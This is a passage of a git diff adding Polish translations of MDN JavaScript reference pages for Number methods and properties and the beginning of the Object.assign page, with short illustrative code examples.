Ponieważ oba operatory porównania, {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}} i {{jsxref("Operators/Comparison_Operators", "===", "#Identity")}}, dla zapytania czy {{jsxref("NaN")}} jest równe {{jsxref("NaN")}} zwracają false funkcja Number.isNaN() staje się niezbędna. Jest sytuacja wyjątkowa i nie występuje, gdy porównujemy dowolne inne wartości w języku JavaScript.

+ +

W porównaniu do funkcji globalnej {{jsxref("isNaN", "isNaN()")}}, metoda Number.isNaN() nie ma problemu z usilnym konwertowaniem parametru na liczbę. To oznacza, że można bezpiecznie przekazywać wartości, które normalnie mogłyby zostać skonwertowane na {{jsxref("NaN")}}, ale nie mają tej samej wartości co {{jsxref("NaN")}}. To również oznacza, że jedynie wartości typu {{jsxref("Number")}}, które są również {{jsxref("NaN")}}, zwrócą true.

+ +

Przykłady

+ +
Number.isNaN(NaN);        // true
+Number.isNaN(Number.NaN); // true
+Number.isNaN(0 / 0);      // true
+
+// Gdybyśmy użyli funkcji isNaN(), te przykłady zwróciłby true
+Number.isNaN('NaN');      // false
+Number.isNaN(undefined);  // false
+Number.isNaN({});         // false
+Number.isNaN('blabla');   // false
+
+// Wszystkie zwracają false
+Number.isNaN(true);
+Number.isNaN(null);
+Number.isNaN(37);
+Number.isNaN('37');
+Number.isNaN('37.37');
+Number.isNaN('');
+Number.isNaN(' ');
+
+ +

Polyfill

+ +

Następujący przykład działa, ponieważ {{jsxref("NaN")}} jest jedyną wartością w języku JavaScript, która nie jest równa samej sobie.

+ +
Number.isNaN = Number.isNaN || function(value) {
+    return value !== null && (value != value || +value != value);
+}
+
+ +

Opis

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-number.isnan', 'Number.isnan')}}{{Spec2('ESDraft')}}
{{SpecName('ES2015', '#sec-number.isnan', 'Number.isnan')}}{{Spec2('ES2015')}}Initial definition.
+ +

Kompatybilność

+ + + +
{{Compat("javascript.builtins.Number.isNaN")}}
+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/number/max_value/index.html b/files/pl/web/javascript/reference/global_objects/number/max_value/index.html new file mode 100644 index 0000000000..4ec6b77eb3 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/number/max_value/index.html @@ -0,0 +1,35 @@ +--- +title: Number.MAX_VALUE +slug: Web/JavaScript/Referencje/Obiekty/Number/MAX_VALUE +tags: + - JavaScript + - Number + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Największa liczba, której reprezentacja jest możliwa w języku JavaScript.

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

Opis

+ +

Własność MAX_VALUE ma wartość ok. 1.79E+308. Wartości większe niż MAX_VALUE są reprezentowane jako "Infinity" (nieskończoność).

+ +

Ponieważ MAX_VALUE jest statyczną własnością {{jsxref("Number")}}, używa jej się zawsze jako Number.MAX_VALUE, a nie jako własność utworzonego przez programistę obiektu {{jsxref("Number")}}.

+ +

Przykłady

+ +

Przykład: Zastosowanie MAX_VALUE

+ +

Poniższy kod mnoży dwie liczby. Jeśli wynik jest większy lub równy MAX_VALUE, wywoływana jest funkcja func1, w przeciwnym wypadku wywoływana jest funkcja func2.

+ +
if (num1 * num2 <= Number.MAX_VALUE) {
+   func1();
+} else {
+   func2();
+}
+
diff --git a/files/pl/web/javascript/reference/global_objects/number/min_value/index.html b/files/pl/web/javascript/reference/global_objects/number/min_value/index.html new file mode 100644 index 0000000000..7010abe1af --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/number/min_value/index.html @@ -0,0 +1,39 @@ +--- +title: Number.MIN VALUE +slug: Web/JavaScript/Referencje/Obiekty/Number/MIN_VALUE +tags: + - JavaScript + - Number + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Najmniejsza dodatnia wartość liczbowa, której reprezentacja jest możliwa w języku JavaScript.

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

Opis

+ +

Własność MIN_VALUE to najbliższa zeru liczba dodatnia, jakiej reprezentacja jest możliwa w języku JavaScript - nie jest to najmniejsza liczba ujemna.

+ +

MIN_VALUE ma wartość ok. 5e-324. Wartości mniejsze niż MIN_VALUE (ang. "underflow values") konwertowane są do 0.

+ +

Ponieważ MIN_VALUE jest statyczną własnością {{jsxref("Number")}}, używa jej się zawsze jako Number.MIN_VALUE, a nie jako własność utworzonego przez programistę obiektu {{jsxref("Number")}}.

+ +

Przykłady

+ +

Przykład: Zastosowanie Number.MIN_VALUE

+ +

Poniższy kod dzieli jedną liczbę przez drugą. Jeśli wynik jest większy lub równy MIN_VALUE, wywoływana jest funkcja func1, w przeciwnym wypadku wywoływana jest funkcja func2.

+ +
if (num1 / num2 >= Number.MIN_VALUE) {
+   func1();
+} else {
+   func2();
+}
+
+ +
 
diff --git a/files/pl/web/javascript/reference/global_objects/number/nan/index.html b/files/pl/web/javascript/reference/global_objects/number/nan/index.html new file mode 100644 index 0000000000..987a48ee6d --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/number/nan/index.html @@ -0,0 +1,48 @@ +--- +title: Number.NaN +slug: Web/JavaScript/Referencje/Obiekty/Number/NaN +tags: + - JavaScript + - Number + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Number/NaN +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Wartość reprezentująca Not-A-Number (Nie-Liczbę).

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

Opis

+ +

Wartością Number.NaN jest Not-A-Number, taką samą jak wartość własności {{jsxref("Obiekty/NaN", "NaN")}} obiektu globalnego.

+ +

Keep text below in sync with Properties:NaN page NaN jest zawsze różna od dowolnej liczby, włączając również NaN; nie możesz sprawdzić wartości nieliczbowej poprzez porównanie do Number.NaN. Użyj zamiast tego funkcji {{jsxref("Obiekty/isNaN", "isNaN()")}}.

+ +

Kilka metod JavaScript (takie jak konstruktor Number, parseFloat i parseInt) zwracają NaN, jeśli wartość określona w parametrze nie może być przetworzona jako liczba.

+ +

Możesz użyć własności NaN, aby wskazać warunek błędu dla Twojej funkcji, która zwraca liczbę w przypadku sukcesu.

+ +

JavaScript wyświetla wartość Number.NaN jako NaN.

+ +

Przykłady

+ +

Przykład: Zastosowanie Number.NaN

+ +

W poniższym przykładzie, jeśli miesiąc (month) jest wartość większą niż 12, zostaje mu przypisane NaN i wyświetlana jest informacja o nieprawidłowych wartościach.

+ +
var month = 13;
+if (month < 1 || month > 12) {
+   month = Number.NaN;
+   console.log("Miesiąc musi być liczbą między 1 i 12.");
+}
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/number/negative_infinity/index.html b/files/pl/web/javascript/reference/global_objects/number/negative_infinity/index.html new file mode 100644 index 0000000000..90de86af6d --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/number/negative_infinity/index.html @@ -0,0 +1,53 @@ +--- +title: Number.NEGATIVE INFINITY +slug: Web/JavaScript/Referencje/Obiekty/Number/NEGATIVE_INFINITY +tags: + - JavaScript + - Number + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Wartość reprezentująca ujemną nieskończoność.

+ +

Opis

+ +

Wartość własności Number.NEGATIVE_INFINITY jest taka sama jak ujemna wartość własności {{jsxref("Infinity")}} obiektu globalnego.

+ +

Wartość ta zachowuje się nieco inaczej niż matematyczna nieskończoność:

+ + + +

Własności Number.NEGATIVE_INFINITY można użyć do wskazania błędu warunku, który zwraca liczbę skończoną w przypadku powodzenia. Należy jednak zauważyć, że funkcja {{jsxref("Obiekty/isFinite", "isFinite")}} będzie w tym wypadku bardziej odpowiednia.

+ +

Przykład

+ +

W poniższym przykładzie do zmiennej smallNumber została przypisana wartość mniejsza niż wartość minimalna. Gdy zostaje wykonana instrukcja if, smallNumber posiada wartość "-Infinity", więc przed kontynuowaniem do zmiennej smallNumber jest przypisywana bardziej wykonywalna wartość.

+ +
var smallNumber = (-Number.MAX_VALUE) * 2;
+
+if (smallNumber == Number.NEGATIVE_INFINITY) {
+ smallNumber = returnFinite();
+}
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/number/positive_infinity/index.html b/files/pl/web/javascript/reference/global_objects/number/positive_infinity/index.html new file mode 100644 index 0000000000..e0be5b9e2a --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/number/positive_infinity/index.html @@ -0,0 +1,57 @@ +--- +title: Number.POSITIVE INFINITY +slug: Web/JavaScript/Referencje/Obiekty/Number/POSITIVE_INFINITY +tags: + - JavaScript + - Number + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Wartość reprezentująca dodatnią nieskończoność.

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

Opis

+ +

Wartość własności Number.POSITIVE_INFINITY jest taka sama jak wartość własności {{jsxref("Infinity")}} obiektu globalnego.

+ +

Wartość ta zachowuje się nieco inaczej niż matematyczna nieskończoność:

+ + + +

Niektóre metody JavaScript (takie jak konstruktor Number, parseFloat i parseInt) zwracają wartość NaN, jeśli wartość określona w parametrze znacznie przewyższa wartość Number.MAX_VALUE.

+ +

Własności Number.POSITIVE_INFINITY można użyć do wskazania błędu warunku, który zwraca liczbę skończoną w przypadku powodzenia. Należy jednak zauważyć, że funkcja {{jsxref("Obiekty/isFinite", "isFinite")}} będzie w tym wypadku bardziej odpowiednia.

+ +

Przykład

+ +

W poniższym przykładzie do zmiennej largeNumber została przypisana wartość większa niż wartość maksymalna. Gdy zostaje wykonana instrukcja {{jsxref("Polecenia/if...else", "if")}}, largeNumber posiada wartość Infinity, więc przed kontynuowaniem do zmiennej bigNumber jest przypisywana bardziej wykonywalna wartość.

+ +
var bigNumber = Number.MAX_VALUE * 2;
+
+if (bigNumber == Number.POSITIVE_INFINITY) {
+ bigNumber = returnFinite();
+}
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/number/toexponential/index.html b/files/pl/web/javascript/reference/global_objects/number/toexponential/index.html new file mode 100644 index 0000000000..1eef2782e4 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/number/toexponential/index.html @@ -0,0 +1,53 @@ +--- +title: Number.prototype.toExponential() +slug: Web/JavaScript/Referencje/Obiekty/Number/toExponential +tags: + - JavaScript + - Method + - Number + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Number/toExponential +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca łańcuch znaków reprezentujący Number w notacji wykładniczej.

+ +

Składnia

+ +
numObj.toExponential([fractionDigits])
+ +

Parametr

+ +
+
fractionDigits
+
Liczba całkowita określająca liczbę cyfr występujących po kropce dziesiętnej. Domyślną wartością jest tyle cyfr, ile potrzeba do określenia liczby.
+
+ +

Zwraca

+ +

Łańcuch znaków reprezentujący obiekt {{jsxref("Number")}} w notacji wykładniczej z jedną cyfrą przed kropką dziesiętną i zaokrągleniem do tylu cyfr po kropce, ile określa parametr fractionDigits. Jeśli argument fractionDigits zostanie pominięty, domyślnie przyjmowana jest taka wartość zaokrąglenia, która pozwala na przedstawienie wartości w sposób unikatowy.

+ +

Jeśli metoda toExponential() zostanie użyta do literałów liczbowych, które nie posiadają wykładnika i kropki dziesiętnej, należy wstawić spację przed kropką poprzedzającą wywołanie metody, aby zapobiec zinterpretowaniu tej kropki jako kropki dziesiętnej.

+ +

Jeśli liczba posiada więcej cyfr niż określono przez parametr fractionDigits, jest ona zaokrąglana do najbliższej liczby o ilości cyfr wskazanej przez wartość fractionDigits. Zobacz dyskusję na temat zaokrąglania w opisie metody toFixed, która również odnosi się do metody toExponential().

+ +

Przykład

+ +
var num=77.1234;
+
+console.log("num.toExponential() is " + num.toExponential()); //wyświetla 7.71234e+1
+console.log("num.toExponential(4) is " + num.toExponential(4)); //wyświetla 7.7123e+1
+console.log("num.toExponential(2) is " + num.toExponential(2)); //wyświetla 7.71e+1
+console.log("77.1234.toExponential() is " + 77.1234.toExponential()); //wyświetla 7.71234e+1
+console.log("77 .toExponential() is " + 77 .toExponential()); //wyświetla 7.7e+1
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/number/tofixed/index.html b/files/pl/web/javascript/reference/global_objects/number/tofixed/index.html new file mode 100644 index 0000000000..9394bf1db9 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/number/tofixed/index.html @@ -0,0 +1,61 @@ +--- +title: Number.prototype.toFixed() +slug: Web/JavaScript/Referencje/Obiekty/Number/toFixed +tags: + - JavaScript + - Method + - Number + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Number/toFixed +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Formatuje liczbę stosując notację stałoprzecinkową.

+ +

Składnia

+ +
numObj.toFixed([digits])
+ +

Parametr

+ +
+
digits
+
Liczba cyfr, które mają zostać wyświetlone po kropce dziesiętnej; może to być wartość z zakresu od 0 do 20 włącznie, ale implementacje mogą opcjonalnie wprowadzać większe zakresy. Jeśli argument zostanie pominięty, przyjmowana jest wartość 0.
+
+ +

Zwraca

+ +

Reprezentację wartości number w postaci łańcucha znaków, która nie stosuje notacji wykładniczej i posiada dokładnie tyle cyfr po separatorze dziesiętnym, ile wskazuje na to wartość parametru digits. Liczba w razie konieczności jest zaokrąglana, a część ułamkowa wypełniana zerami, aby liczba posiadała określoną długość. Jeśli liczba number jest większa niż 1e+21, metoda ta po prostu wywołuje {{jsxref("Number.prototype.toString()")}} i zwraca łańcuch znaków w notacji wykładniczej.

+ +

Wyrzuca

+ +
+
{{jsxref("Obiekty/RangeError", "RangeError")}}
+
Jeśli wartość parametru digits jest za duża lub za mała. Wartości z zakresu od 0 do 20 włącznie nie spowodują wystąpienia {{jsxref("Obiekty/RangeError", "RangeError")}}. Dopuszcza się na obsługę mniejszych lub większych wartości przez różne implementacje.
+
+ +
+
{{jsxref("Obiekty/TypeError", "TypeError")}}
+
Jeśli ta metoda jest przywołana w obiekcie, który nie jest obiektem {{jsxref("Number")}}.
+
+ +

Przykłady

+ +
var n = 12345.6789;
+
+n.toFixed();              // zwraca 12346: zauważ zaokrąglenie i brak części ułamkowej
+n.toFixed(1);             // zwraca 12345.7: zauważ zaokrąglenie
+n.toFixed(6);             // zwraca 12345.678900: zauważ dodane zera
+(1.23e+20).toFixed(2);    // zwraca 123000000000000000000.00
+(1.23e-10).toFixed(2)     // zwraca 0.00
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/number/tolocalestring/index.html b/files/pl/web/javascript/reference/global_objects/number/tolocalestring/index.html new file mode 100644 index 0000000000..6ca88bba30 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/number/tolocalestring/index.html @@ -0,0 +1,182 @@ +--- +title: Number.prototype.toLocaleString() +slug: Web/JavaScript/Referencje/Obiekty/Number/toLocaleString +translation_of: Web/JavaScript/Reference/Global_Objects/Number/toLocaleString +--- +
{{JSRef}}
+ +

Metoda toLocaleString() zwraca łańcuch znaków przedstawiający dany numer w formacie wybranej lokalizacji.

+ +

Nowe argumenty - lokalizacje i opcje - pozwalają na wybranie lokalizacji w jakiej ma zostać przedstawiona liczba. Starsza implementacja, która nie posiadała tych argumentów, zwracała łańcuch znaków zależny od implementacji danego środowiska.

+ +

Składnia

+ +
numObj.toLocaleString([lokalizacje [, opcje]])
+ +

Parametry

+ +

W sekcji kompatybilności możesz sprawdzić, które przeglądarki obsługują argumenty lokalizacji i opcji . W sekcji Przykład: Sprawdzanie obsługi argumentów lokalizacji i opcji rozpisane są sposoby na przetestowanie obsługiwanych przez przeglądarkę argumentów tej metody.

+ +
+

Info: ECMAScript Internationalization API, zaimplementowane w Firefoxie 29, dodaje obsługę parametrylokalizacje do metodyNumber.toLocaleString(). Jeśli argument nie zostanie podany ({{jsxref("undefined")}}) metoda przyjmię lokalizację systemu operacyjnego. Poprzednie wersje Firefoxa zwracały liczby z lokalizacji Western Arabic. Zmiana zostala zgłoszona jako regresja rzutująca na wsteczną kompatybilność metody, i wkrótce zostanie naprawiona. ({{bug(999003)}})

+
+ +
{{page('/pl-PL/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat', 'Parameters')}}
+ +

Zwracana wartość

+ +

Łańcuch znaków przedstawiający liczbę w danym formacie.

+ +

Przykłady

+ +

Przykłady użycia metody toLocaleString

+ +

Podstawowy sposób użycia, bez podanych argumentów, zwróci nam łańcuch znaków w domyślnej lokalizacji i z domyślnymi opcjami.

+ +
var liczba = 3500;
+
+console.log(liczba.toLocaleString()); // Wyświetli "3 500", jeśli twoją lokalizacją jest „pl-PL”
+
+ +

Sprawdzanie dostępności argumentów lokalizacji i opcji

+ +

Nie wszystkie przeglądarki obsługuję argumenty lokalizacji i opcji. Aby to sprawdzić w wersji języka ES5.1 i późniejszych możemy użyć wyjątku {{jsxref("Global_Objects/RangeError", "RangeError")}}, który zostanie rzucony gdy niepoprawna nazwa lokalizacji zostanie użyta:

+ +
function toLocaleStringSupportsLocales() {
+  var liczba = 0;
+  try {
+    liczba.toLocaleString('i');
+  } catch (e) {
+    return e.name === 'RangeError';
+  }
+  return false;
+}
+
+ +

W wersjach przed ES5.1 nie było obowiązku wyrzucania wyjątku Range Error jeśli metoda toLocaleString została wywołana z argumentami.

+ +

Sprawdzenie działające na wszystkich wersjach języka przed 5.1 polega na użyciu funkcjonalności niezbędnych do działania tych argumentów bezpośrednio na Number.prototype.toLocaleString:

+ +
function toLocaleStringSupportsOptions() {
+  return !!(typeof Intl == 'object' && Intl && typeof Intl.NumberFormat == 'function');
+}
+
+ +

Sprawdzamy tutaj czy istnieje globalny obiekt Intl, czy nie jest nullem, a także czy posiada właściwość NumberFormat, która jest funkcją.

+ +

Przykłady użycia lokalizacji

+ +

Przykład ten pokazuje kilka różnych lokalizacji. Aby uzyskać foramt języka interfejsu użytkownika upewnij się, że podajesz tę lokalizację (i dla pewności kilka innych jako fallbacki) przy pomocy aargumentu localizacji:

+ +
var liczba = 123456.789;
+
+// Język niemiecki oddziela części dziesiętne przecinkiem, a tysiące kropką
+console.log(liczba.toLocaleString('de-DE'));
+// → 123.456,789
+
+// W większości krajów arabskich używa cyfr Eastern Arabic
+console.log(liczba.toLocaleString('ar-EG'));
+// → ١٢٣٤٥٦٫٧٨٩
+
+// Indyjski używa separatorów tysięcy/lakh/crore
+console.log(liczba.toLocaleString('en-IN'));
+// → 1,23,456.789
+
+// Klucz rozszerzeń „nu” pyta o system numeryczny, np. Chiński system dziesiętny
+console.log(liczba.toLocaleString('zh-Hans-CN-u-nu-hanidec'));
+// → 一二三,四五六.七八九
+
+// jeśli masz zamiar użyć lokalizacji, która może nie być obsługiwana
+// jak np. Balinese, zawsze dodaj drugi lokalizację, tutaj Indonezyjską
+console.log(liczba.toLocaleString(['ban', 'id']));
+// → 123.456,789
+
+ +

Przykłady użycia opcji

+ +

Rezultaty metodytoLocaleString  mogą być dostosowywane przy pomocy argumentu opcje:

+ +
var liczba = 123456.789;
+
+// format walutowy
+console.log(liczba.toLocaleString('de-DE', { style: 'currency', currency: 'EUR' }));
+// → 123.456,79 €
+
+// Japoński yen
+console.log(liczba.toLocaleString('ja-JP', { style: 'currency', currency: 'JPY' }))
+// → ¥123,457
+
+// ogranicz wyświetlanie do 3 miejsc znaczących
+console.log(liczba.toLocaleString('en-IN', { maximumSignificantDigits: 3 }));
+// → 1,23,000
+
+// Użyj domyślnego języka hosta z opcjami formatowania liczby
+var num = 30000.65;
+console.log(num.toLocaleString(undefined, {minimumFractionDigits: 2, maximumFractionDigits: 2}));
+// → "30,000.65" w języku angielskim lub
+// → "30.000,65" w języku niemieckiem lub
+// → "30 000,65" w języku francuskim
+
+ +

Wydajność

+ +

Jeśli zamierzasz formatować wiele liczb, lepiej użyć obiektu {{jsxref("NumberFormat")}} i formatować przy pomocy metody {{jsxref("NumberFormat.format")}}.

+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}Pierwsza definicja. Zaimplementowane w JavaScript 1.5.
{{SpecName('ES5.1', '#sec-15.7.4.3', 'Number.prototype.toLocaleString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}}{{Spec2('ESDraft')}} 
{{SpecName('ES Int 1.0', '#sec-13.2.1', 'Number.prototype.toLocaleString')}}{{Spec2('ES Int 1.0')}} 
{{SpecName('ES Int 2.0', '#sec-13.2.1', 'Number.prototype.toLocaleString')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Number.prototype.toLocaleString', 'Number.prototype.toLocaleString')}}{{Spec2('ES Int Draft')}} 
+ +

Kompatybilność

+ + + +

{{Compat("javascript.builtins.Number.toLocaleString")}}

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/number/toprecision/index.html b/files/pl/web/javascript/reference/global_objects/number/toprecision/index.html new file mode 100644 index 0000000000..33d5c0f1ed --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/number/toprecision/index.html @@ -0,0 +1,56 @@ +--- +title: Number.prototype.toPrecision() +slug: Web/JavaScript/Referencje/Obiekty/Number/toPrecision +tags: + - JavaScript + - Method + - Number + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Number/toPrecision +--- +

{{jsref}}

+ +

Podsumowanie

+ +

Zwraca łańcuch znaków reprezentujący dany obiekt Number z określoną dokładnością.

+ +

Składnia

+ +
numObj.toPrecision([precision])
+ +

Parametr

+ +
+
precision
+
Liczba całkowita określająca liczbę cyfr po kropce dziesiętnej.
+
+ +

Zwraca

+ +

Łańcuch znaków reprezentujący obiekt {{jsxref("Number")}} w notacji stałoprzecinkowej lub wykładniczej z zaokrągleniem do tylu ważnych cyfr, ile wskazuje wartość precision.

+ +

Jeśli metoda toPrecision() zostanie użyta do literałów liczbowych, które nie posiadają wykładnika i kropki dziesiętnej, należy wstawić spację przed kropką poprzedzającą wywołanie metody, aby zapobiec zinterpretowaniu tej kropki jako kropki dziesiętnej.

+ +

Jeśli argument precision zostanie pominięty, metoda zachowuje się jak {{jsxref("Number.prototype.toString()")}}.

+ +

Jeśli liczba posiada więcej cyfr niż określono przez parametr precision, jest ona zaokrąglana do najbliższej liczby o ilości cyfr wskazanej przez wartość precision. Zobacz dyskusję na temat zaokrąglania w opisie metody {{jsxref("Number.prototype.toFixed()")}}, która również odnosi się do metody toPrecision.

+ +

Przykład

+ +
var num=5.123456;
+
+console.log("num.toPrecision() is " + num.toPrecision()); //wyświetli 5.123456
+console.log("num.toPrecision(4) is " + num.toPrecision(4)); //wyświetli 5.123
+console.log("num.toPrecision(2) is " + num.toPrecision(2)); //wyświetli  5.1
+console.log("num.toPrecision(1) is " + num.toPrecision(1)); //wyświetli 5
+console.log("1250 .toPrecision(2) is " + 1250 .toPrecision(2)); //wyświetli 1.3e+3
+console.log("1250 .toPrecision(5) is " + 1250 .toPrecision(5)); //wyświetli 1250.0
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/number/tostring/index.html b/files/pl/web/javascript/reference/global_objects/number/tostring/index.html new file mode 100644 index 0000000000..cd29571aee --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/number/tostring/index.html @@ -0,0 +1,59 @@ +--- +title: Number.prototype.toString() +slug: Web/JavaScript/Referencje/Obiekty/Number/toString +tags: + - JavaScript + - Method + - Number + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Number/toString +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca łańcuch znaków reprezentujący dany obiekt {{jsxref("Number")}}.

+ +

Składnia

+ +
numObj.toString([radix])
+ +

Parametr

+ +
+
radix
+
Liczba całkowita z zakresu od 2 do 36 określająca podstawę użytą do reprezentacji wartości liczbowych.
+
+ +

Opis

+ +

Obiekt Number przesłania metodę toString obiektu {{jsxref("Object")}}; nie dziedziczy {{jsxref("Object.prototype.toString()")}}. Dla obiektów Number metoda toString() zwraca łańcuch znaków reprezentujący obiekt w danej podstawie wyliczeń.

+ +

Metoda toString przetwarza pierwszy podany argument i próbuje zwrócić reprezentację w postaci łańcucha znaków w określonej podstawie wyliczeń. Dla podstawy większej od 10 litery alfabetu wskazują liczby większe niż 9. Przykładowo dla liczb heksadecymalnych (podstawa 16) użyte zostaną litery od A do F.

+ +

Jeśli jako argument toString() podano podstawę nie będącą w zakresie od 2 do 36, zostanie wywołany wyjątek.

+ +

Jeśli podstawa nie została określona, JavaScript przyjmuje za podstawę wartość 10.

+ +

Przykłady

+ +
var count = 10;
+
+console.log(count.toString());    // displays '10'
+console.log((17).toString());     // displays '17'
+
+var x = 6;
+
+console.log(x.toString(2));       // displays '110'
+console.log((254).toString(16));  // displays 'fe'
+
+console.log((-10).toString(2));   // displays '-1010'
+console.log((-0xff).toString(2)); // displays '-11111111'
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/object/assign/index.html b/files/pl/web/javascript/reference/global_objects/object/assign/index.html new file mode 100644 index 0000000000..81e764456a --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/object/assign/index.html @@ -0,0 +1,307 @@ +--- +title: Object.assign() +slug: Web/JavaScript/Referencje/Obiekty/Object/assign +translation_of: Web/JavaScript/Reference/Global_Objects/Object/assign +--- +
{{JSRef}}
+ +

Metoda Object.assign() kopiuje wszystkie wartości wyliczalnych własnych właściwości z jednego lub więcej obiektów źródłowych do obiektu docelowego. Zwraca obiekt docelowy.

+ +

Składnia

+ +
Object.assign(cel, ...zrodla)
+ +

Parameters

+ +
+
cel
+
Obiekt docelowy.
+
zrodla
+
Obiekt(y) żródłowe.
+
+ +

Zwracana wartość

+ +

Obiekt docelowy.

+ +

Opis

+ +

Właściwości w obiekcie docelowym zostaną nadpisane właściwościami obiektów źródłowych, jeśli właściwości te mają takie same nazwy. Właściwości obiektów źródłowych występujących później na liście argumentów, podobnie, nadpiszą właściwości obiektów występujących wcześniej.

+ +

Metoda Object.assign() jedynie kopiuje wyliczalnewłasne właściwości z obiektów źródłowych do obiektu docelowego. Używa do tego [[Get]] na źródle oraz [[Set]] na obiekcie docelowym, więc wywołuje gettery i settery odpowiednich obiektów. Dlatego też mowa tu o przypisaniu właściwości, a nie o ich kopiowaniu czy tworzeniu nowych. Metoda ta może być więc nieodpowiednia do przyłączania nowych właściwości do prototypu, w przypadku gdy źródła przyłączenia zawierają gettery. Do kopiowania definicji właściwości, wliczając ich wyliczalność, do prototypów należy użyć {{jsxref("Object.getOwnPropertyDescriptor()")}} oraz {{jsxref("Object.defineProperty()")}}.

+ +

Obie właściwości {{jsxref("String")}} jak i {{jsxref("Symbol")}} są kopiowane.

+ +

W przypadku błędu, na przykład gdy wartość jest zabezpieczona przed zapisem, zostanie rzucony błąd {{jsxref("TypeError")}}, a obiekt docelowy może zostać zmieniony, jeśli jakieś właściwości zostały do niego dodane przed wystąpieniem błędu.

+ +

Zauważ, że Object.assign() nie rzuci błędu, gdy źródłem jest {{jsxref("null")}} lub {{jsxref("undefined")}}.

+ +

Przykłady

+ +

Klonowanie obiektu

+ +
var obiekt = { a: 1 };
+var kopia = Object.assign({}, obiekt);
+console.log(kopia); // { a: 1 }
+
+ +

Ostrzeżenie przed Głębokim Klonowaniem

+ +

W przypadku głębokiego klonowania musimy użyć innych sposóbów, ponieważ Object.assign() kopiuje jedynie wartości przechowywane we właściwościach. Jeżeli właściwość źródłowa jest referencją do obiektu, to skopiowana zostanie jedynie ta referencja (wówczas zarówno źródło jak i cel będą posiadać referencję do tego samego obiektu, a nie osobne kopie tych obiektów).

+ +
function test() {
+  'use strict';
+
+  let obj1 = { a: 0 , b: { c: 0}};   // a: wartość, b: referencja, c: wartość
+  let obj2 = Object.assign({}, obj1);
+  console.log(JSON.stringify(obj2)); // { a: 0, b: { c: 0}}
+
+  obj1.a = 1; // zmiana wartości, dotyczy tylko obj1
+  console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 0}}
+  console.log(JSON.stringify(obj2)); // { a: 0, b: { c: 0}}
+
+  obj2.a = 2; // zmiana wartości, dotyczy tylko obj2
+  console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 0}}
+  console.log(JSON.stringify(obj2)); // { a: 2, b: { c: 0}}
+
+  obj2.b.c = 3; // zmiana wartości w obiekcie o współdzielonej referencji
+  console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 3}} // teraz b.c == 3
+  console.log(JSON.stringify(obj2)); // { a: 2, b: { c: 3}} // i tu też b.c == 3, bo obj1.b === obj2.b
+
+  // Klonowanie głębokie
+  obj1 = { a: 0 , b: { c: 0}};
+  let obj3 = JSON.parse(JSON.stringify(obj1));
+  obj1.a = 4;
+  obj1.b.c = 4;
+  console.log(JSON.stringify(obj3)); // { a: 0, b: { c: 0}} // obj1.b !== obj2.b
+}
+
+test();
+ +

Łączenie obiektów

+ +
var o1 = { a: 1 };
+var o2 = { b: 2 };
+var o3 = { c: 3 };
+
+var obj = Object.assign(o1, o2, o3);
+console.log(obj); // { a: 1, b: 2, c: 3 }
+console.log(o1);  // { a: 1, b: 2, c: 3 }, sam obiekt docelowy został zmieniony.
+ +

Łączenie obiektów z tymi samymi właściowściami

+ +
var o1 = { a: 1, b: 1, c: 1 };
+var o2 = { b: 2, c: 2 };
